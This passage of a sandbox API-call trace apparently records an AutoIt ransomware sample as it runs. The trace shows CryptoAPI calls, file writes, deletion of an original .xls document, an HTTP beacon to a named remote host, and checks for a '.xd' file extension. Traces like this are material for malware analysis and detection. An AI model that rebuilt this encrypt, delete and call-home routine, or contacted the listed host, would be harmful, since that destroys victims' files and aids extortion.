wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.783] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.783] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.783] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.783] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.784] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.784] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.784] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.784] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.784] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.784] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.784] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.784] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.784] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.784] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.784] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.784] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.786] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.787] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.787] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.787] WriteFile (in: hFile=0x3ac, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x9c40, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x9c40, lpOverlapped=0x0) returned 1 [0073.788] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.788] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.788] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0073.788] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.788] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.788] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0073.788] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621510, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0073.789] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0073.789] CryptDestroyKey (hKey=0x164c630) returned 1 [0073.789] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.789] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.789] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.789] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.789] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.789] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.789] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.789] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.789] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.789] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0073.789] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.789] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.789] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.789] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.789] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.789] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.789] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.790] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.790] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.790] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.794] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.794] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.794] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.794] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.794] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.794] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.794] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.794] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.794] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0073.795] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0073.795] CryptReleaseContext (hProv=0x17aa918, dwFlags=0x0) returned 1 [0073.795] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.795] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.795] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.795] FreeLibrary (hLibModule=0x74c60000) returned 1 [0073.795] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.795] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.795] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.795] CloseHandle (hObject=0x3d0) returned 1 [0073.795] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.795] CloseHandle (hObject=0x3ac) returned 1 [0073.798] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.798] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.798] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", lpFilePart=0x0) returned 0x46 [0073.798] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\n6jwt8z 8peyl55.xls")) returned 0x20 [0073.799] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c2f0 [0073.799] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\n6jwt8z 8peyl55.xls")) returned 1 [0073.810] FindNextFileW (in: hFindFile=0x164c2f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0073.811] FindClose (in: hFindFile=0x164c2f0 | out: hFindFile=0x164c2f0) returned 1 [0073.811] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.812] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.812] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.812] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.812] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0073.812] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0073.812] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.812] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0073.812] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.812] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0073.812] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0073.812] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e08, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e08, lpdwBufferLength=0x130ef8c) returned 1 [0073.812] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.812] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.812] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.813] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0073.813] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0073.813] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0073.813] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291f0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0073.813] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0073.813] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.814] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.814] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.814] CloseHandle (hObject=0x0) returned 0 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mlP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lP\\LEyTaIf\\R22w5q7Z4qu.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 